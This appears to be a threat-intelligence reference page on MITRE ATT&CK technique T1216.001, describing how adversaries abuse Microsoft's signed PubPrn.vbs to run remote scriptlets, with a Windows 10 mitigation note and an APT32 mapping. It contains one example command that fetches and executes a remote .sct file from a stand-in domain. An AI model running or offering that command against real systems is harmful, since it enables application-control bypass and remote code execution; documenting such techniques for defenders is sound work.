# TTP Detail – T1216.001

## TTP Information

Name: PubPrn

Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

## Threat-Mapped Scoring

Score: 0.0

Priority: Unclassified

## Kill Chain Phases

**•** mitre-attack: defense-evasion

## APTs (Intrusion Sets)

* APT32